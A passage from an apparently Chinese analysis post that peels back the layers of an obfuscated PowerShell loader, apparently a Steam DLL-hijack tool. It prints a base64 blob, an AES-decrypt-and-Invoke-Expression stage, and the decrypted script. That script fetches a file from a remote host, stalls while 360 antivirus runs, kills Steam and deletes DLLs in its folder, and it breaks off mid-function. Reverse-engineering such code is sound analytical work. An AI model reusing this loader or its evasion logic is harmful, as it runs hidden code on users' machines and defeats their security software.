ZABpAG4AZwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAGEAZABkAGkAbgBnAE0AbwBkAGUAXQA6ADoAUABLAEMAUwA3AA0ACgAkAGgAagBmAG0AcAB5AC4AQgBsAG8AYwBrAFMAaQB6AGUAIAA9ACAAMQAyADgADQAKACQAaABqAGYAbQBwAHkALgBLAGUAeQBTAGkAegBlACAAPQAgADEAMgA4AAoAJABoAGoAZgBtAHAAeQAuAEsAZQB5ACAAPQAgACQAYgBtAG8AeQBxAGMADQAKACQAaABqAGYAbQBwAHkALgBJAFYAIAA9ACAAJAB2AHoAdwBuAGIAcQBkAFsAMAAuAC4AMQA1AF0ADQAKACQAbgBjAHoAYgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQANAAoAJAB3AHYAcABxAG0AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAsACQAaABqAGYAbQBwAHkALgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJAB2AHoAdwBuAGIAcQBkACwAMQA2ACwAJAB2AHoAdwBuAGIAcQBkAC4ATABlAG4AZwB0AGgALQAxADYAKQApAA0ACgAkAGoAYwBhAGkAYgBzAHgAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARABlAGYAbABhAHQAZQBTAHQAcgBlAGEAbQAgACQAdwB2AHAAcQBtACwAIAAoAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApAA0ACgAkAGoAYwBhAGkAYgBzAHgALgBDAG8AcAB5AFQAbwAoACQAbgBjAHoAYgApAA0ACgAkAGgAagBmAG0AcAB5AC4ARABpAHMAcABvAHMAZQAoACkADQAKACQAagBjAGEAaQBiAHMAeAAuAEMAbABvAHMAZQAoACkADQAKACQAdwB2AHAAcQBtAC4AQwBsAG8AcwBlACgAKQANAAoAJAB3AHYAcgBlAHEAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABuAGMAegBiAC4AVABvAEEAcgByAGEAeQAoACkAKQANAAoASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACgAJAB3AHYAcgBlAHEAKQANAAoA"</code></pre>
<p>base64解码后：</p>
<blockquote>
<p>$vzwnbqd = [System.Convert]::FromBase64String("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")<br>$bmoyqc = [System.Convert]::FromBase64String("UA2KbGiLuLYKGNKXp0I85SK9AD1BOac/a0nGz4Bc9Zs=")<br>$hjfmpy = New-Object "System.Security.Cryptography.AesManaged"<br>$hjfmpy.Mode = [System.Security.Cryptography.CipherMode]::ECB<br>$hjfmpy.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7<br>$hjfmpy.BlockSize = 128<br>$hjfmpy.KeySize = 128<br>$hjfmpy.Key = $bmoyqc<br>$hjfmpy.IV = $vzwnbqd[0..15]<br>$nczb = New-Object System.IO.MemoryStream<br>$wvpqm = New-Object System.IO.MemoryStream(,$hjfmpy.CreateDecryptor().TransformFinalBlock($vzwnbqd,16,$vzwnbqd.Length-16))<br>$jcaibsx = New-Object System.IO.Compression.DeflateStream $wvpqm, ([IO.Compression.CompressionMode]::Decompress)<br>$jcaibsx.CopyTo($nczb)<br>$hjfmpy.Dispose()<br>$jcaibsx.Close()<br>$wvpqm.Close()<br>$wvreq = [System.Text.Encoding]::UTF8.GetString($nczb.ToArray())<br>Invoke-Expression($wvreq)</p>
</blockquote>
<p>三层AES加密，解开后得到</p>
<blockquote>
<p>cls<br>Write-Host -NoNewline " &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;_____ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;_____ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;_____ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;_____ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;_____ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;`r" -ForegroundColor:blue<br>Write-Host -NoNewline " &nbsp; &nbsp; &nbsp; &nbsp; /\ &nbsp; &nbsp;\ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;/\ &nbsp; &nbsp;\ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;/\ &nbsp; &nbsp;\ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;/\ &nbsp; &nbsp;\ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;/\ &nbsp; &nbsp;\ &nbsp; &nbsp; &nbsp; &nbsp; `r" -ForegroundColor:blue<br>Write-Host -NoNewline " &nbsp; &nbsp; &nbsp; &nbsp;/::\ &nbsp; &nbsp;\ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;/::\ &nbsp; &nbsp;\ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;/::\ &nbsp; &nbsp;\ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;/::\ &nbsp; &nbsp;\ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;/::\____\ &nbsp; &nbsp; &nbsp; &nbsp;`r" -ForegroundColor:blue<br>Write-Host -NoNewline " &nbsp; &nbsp; &nbsp; /::::\ &nbsp; &nbsp;\ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; \:::\ &nbsp; &nbsp;\ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;/::::\ &nbsp; &nbsp;\ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;/::::\ &nbsp; &nbsp;\ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;/::::| &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp;`r" -ForegroundColor:blue<br>Write-Host -NoNewline " &nbsp; &nbsp; &nbsp;/::::::\ &nbsp; &nbsp;\ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; \:::\ &nbsp; &nbsp;\ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;/::::::\ &nbsp; &nbsp;\ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;/::::::\ &nbsp; &nbsp;\ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;/:::::| &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp;`r" -ForegroundColor:blue<br>Write-Host -NoNewline " &nbsp; &nbsp; /:::/\:::\ &nbsp; &nbsp;\ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; \:::\ &nbsp; &nbsp;\ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;/:::/\:::\ &nbsp; &nbsp;\ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;/:::/\:::\ &nbsp; &nbsp;\ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;/::::::| &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp;`r" -ForegroundColor:blue<br>Write-Host -NoNewline " &nbsp; &nbsp;/:::/__\:::\ &nbsp; &nbsp;\ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; \:::\ &nbsp; &nbsp;\ &nbsp; &nbsp; &nbsp; &nbsp;/:::/__\:::\ &nbsp; &nbsp;\ &nbsp; &nbsp; &nbsp; &nbsp;/:::/__\:::\ &nbsp; &nbsp;\ &nbsp; &nbsp; &nbsp; &nbsp;/:::/|::| &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp;`r" -ForegroundColor:blue<br>Write-Host -NoNewline " &nbsp; &nbsp;\:::\ &nbsp; \:::\ &nbsp; &nbsp;\ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;/::::\ &nbsp; &nbsp;\ &nbsp; &nbsp; &nbsp;/::::\ &nbsp; \:::\ &nbsp; &nbsp;\ &nbsp; &nbsp; &nbsp;/::::\ &nbsp; \:::\ &nbsp; &nbsp;\ &nbsp; &nbsp; &nbsp;/:::/ |::| &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp;`r" -ForegroundColor:blue<br>Write-Host -NoNewline " &nbsp;___\:::\ &nbsp; \:::\ &nbsp; &nbsp;\ &nbsp; &nbsp; &nbsp; &nbsp;/::::::\ &nbsp; &nbsp;\ &nbsp; &nbsp;/::::::\ &nbsp; \:::\ &nbsp; &nbsp;\ &nbsp; &nbsp;/::::::\ &nbsp; \:::\ &nbsp; &nbsp;\ &nbsp; &nbsp;/:::/ &nbsp;|::|___|______ &nbsp;`r" -ForegroundColor:blue<br>Write-Host -NoNewline " /\ &nbsp; \:::\ &nbsp; \:::\ &nbsp; &nbsp;\ &nbsp; &nbsp; &nbsp;/:::/\:::\ &nbsp; &nbsp;\ &nbsp;/:::/\:::\ &nbsp; \:::\ &nbsp; &nbsp;\ &nbsp;/:::/\:::\ &nbsp; \:::\ &nbsp; &nbsp;\ &nbsp;/:::/ &nbsp; |::::::::\ &nbsp; &nbsp;\ `r" -ForegroundColor:blue<br>Write-Host -NoNewline "/::\ &nbsp; \:::\ &nbsp; \:::\____\ &nbsp; &nbsp;/:::/ &nbsp;\:::\____\/:::/__\:::\ &nbsp; \:::\____\/:::/ &nbsp;\:::\ &nbsp; \:::\____\/:::/ &nbsp; &nbsp;|:::::::::\____\`r" -ForegroundColor:blue<br>Write-Host -NoNewline "\:::\ &nbsp; \:::\ &nbsp; \::/ &nbsp; &nbsp;/ &nbsp; /:::/ &nbsp; &nbsp;\::/ &nbsp; &nbsp;/\:::\ &nbsp; \:::\ &nbsp; \::/ &nbsp; &nbsp;/\::/ &nbsp; &nbsp;\:::\ &nbsp;/:::/ &nbsp; &nbsp;/\::/ &nbsp; &nbsp;/ ~~~~~/:::/ &nbsp; &nbsp;/`r" -ForegroundColor:blue<br>Write-Host -NoNewline " \:::\ &nbsp; \:::\ &nbsp; \/____/ &nbsp; /:::/ &nbsp; &nbsp;/ \/____/ &nbsp;\:::\ &nbsp; \:::\ &nbsp; \/____/ &nbsp;\/____/ \:::\/:::/ &nbsp; &nbsp;/ &nbsp;\/____/ &nbsp; &nbsp; &nbsp;/:::/ &nbsp; &nbsp;/ `r" -ForegroundColor:blue<br>Write-Host -NoNewline " &nbsp;\:::\ &nbsp; \:::\ &nbsp; &nbsp;\ &nbsp; &nbsp; &nbsp;/:::/ &nbsp; &nbsp;/ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;\:::\ &nbsp; \:::\ &nbsp; &nbsp;\ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; \::::::/ &nbsp; &nbsp;/ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /:::/ &nbsp; &nbsp;/ &nbsp;`r" -ForegroundColor:blue<br>Write-Host -NoNewline " &nbsp; \:::\ &nbsp; \:::\____\ &nbsp; &nbsp;/:::/ &nbsp; &nbsp;/ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;\:::\ &nbsp; \:::\____\ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; \::::/ &nbsp; &nbsp;/ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /:::/ &nbsp; &nbsp;/ &nbsp; `r" -ForegroundColor:blue<br>Write-Host -NoNewline " &nbsp; &nbsp;\:::\ &nbsp;/:::/ &nbsp; &nbsp;/ &nbsp; &nbsp;\::/ &nbsp; &nbsp;/ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;\:::\ &nbsp; \::/ &nbsp; &nbsp;/ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /:::/ &nbsp; &nbsp;/ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /:::/ &nbsp; &nbsp;/ &nbsp; &nbsp;`r" -ForegroundColor:blue<br>Write-Host -NoNewline " &nbsp; &nbsp; \:::\/:::/ &nbsp; &nbsp;/ &nbsp; &nbsp; &nbsp;\/____/ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;\:::\ &nbsp; \/____/ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /:::/ &nbsp; &nbsp;/ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /:::/ &nbsp; &nbsp;/ &nbsp; &nbsp; `r" -ForegroundColor:blue<br>Write-Host -NoNewline " &nbsp; &nbsp; &nbsp;\::::::/ &nbsp; &nbsp;/ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; \:::\ &nbsp; &nbsp;\ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;/:::/ &nbsp; &nbsp;/ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /:::/ &nbsp; &nbsp;/ &nbsp; &nbsp; &nbsp;`r" -ForegroundColor:blue<br>Write-Host -NoNewline " &nbsp; &nbsp; &nbsp; \::::/ &nbsp; &nbsp;/ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; \:::\____\ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;/:::/ &nbsp; &nbsp;/ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /:::/ &nbsp; &nbsp;/ &nbsp; &nbsp; &nbsp; `r" -ForegroundColor:blue<br>Write-Host -NoNewline " &nbsp; &nbsp; &nbsp; &nbsp;\::/ &nbsp; &nbsp;/ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; \::/ &nbsp; &nbsp;/ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;\::/ &nbsp; &nbsp;/ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;\::/ &nbsp; &nbsp;/ &nbsp; &nbsp; &nbsp; &nbsp;`r" -ForegroundColor:blue<br>Write-Host -NoNewline " &nbsp; &nbsp; &nbsp; &nbsp; \/____/ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; \/____/ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;\/____/ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;\/____/ &nbsp; &nbsp; &nbsp; &nbsp; `r" -ForegroundColor:blue</p>
<p>function Get-RandomString() {<br>&nbsp; &nbsp; param(<br>&nbsp; &nbsp; [int]$length=10,<br>&nbsp; &nbsp; # 这里的[int]是类型指定<br>&nbsp; &nbsp; [char[]]$sourcedata<br>&nbsp; &nbsp; )</p>
<p>&nbsp; &nbsp; for($loop=1; $loop -le $length; $loop++) {<br>&nbsp; &nbsp; &nbsp; &nbsp; $TempPassword+=($sourcedata | GET-RANDOM | %{[char]$_})<br>&nbsp; &nbsp; }</p>
<p>&nbsp; &nbsp; return $TempPassword<br>}</p>
<p>Start-Sleep 1<br>$tempLog = $env:TEMP+ "\log.txt"</p>
<p>try{<br>&nbsp; &nbsp; irm -Uri "https://hz-config.oss-accelerate.aliyuncs.com/help.txt" -OutFile $tempLog<br>}<br>catch{<br>&nbsp; &nbsp; Write-Host "NetWork Result-Error" -ForegroundColor:red<br>}</p>
<p>function PwStart() {<br>&nbsp; &nbsp; try<br>&nbsp; &nbsp; {<br>&nbsp; &nbsp; &nbsp; &nbsp; $steamPath = (Get-ItemProperty -Path "Registry::HKEY_CURRENT_USER\SOFTWARE\Valve\Steam\ActiveProcess" -ErrorAction Stop).'SteamClientDll'<br>&nbsp; &nbsp; &nbsp; &nbsp; $steamPath = $steamPath -replace "steamclient.dll","hid.dll"</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; if(Get-Process 360Tray* -ErrorAction Stop){<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; while(Get-Process 360Tray* -ErrorAction Stop){<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Write-Host (Get-Content $tempLog)[0] -ForegroundColor:Red<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Start-Sleep 1.5<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; PwStart</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; }<br>&nbsp; &nbsp; &nbsp; &nbsp; elseif(Get-Process 360sd* -ErrorAction Stop)<br>&nbsp; &nbsp; &nbsp; &nbsp; {<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; while(Get-Process 360sd* -ErrorAction Stop){<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Write-Host (Get-Content $tempLog)[1] -ForegroundColor:Red<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Start-Sleep 1.5<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; PwStart<br>&nbsp; &nbsp; &nbsp; &nbsp; }<br>&nbsp; &nbsp; &nbsp; &nbsp; else{<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; try{<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Stop-Process -Name steam* -Force -ErrorAction Stop<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Start-Sleep 1<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; #避免退出失败多检测一次<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if(Get-Process steam* -ErrorAction Stop){<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; TASKKILL /F /IM "steam.exe" | Out-Null<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Start-Sleep 2<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</p>
<p><br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; #没有检测到杀毒的存在可以开始执行下一步<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (Test-Path $steamPath) {<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Start-Sleep 1<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; del $steamPath<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (Test-Path $steamPath)<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Remove-Item -Path $steamPath -Force<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Start-Sleep 1<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Start-Sleep 0.5<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $steamPath = $steamPath -replace "hid.dll","version.dll"<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (Test-Path $steamPath) {<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Start-Sleep 0.5<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Remove-Item -Path $steamPath -Force<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Start-Sleep 0.5<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br>&nbsp; &nbsp; 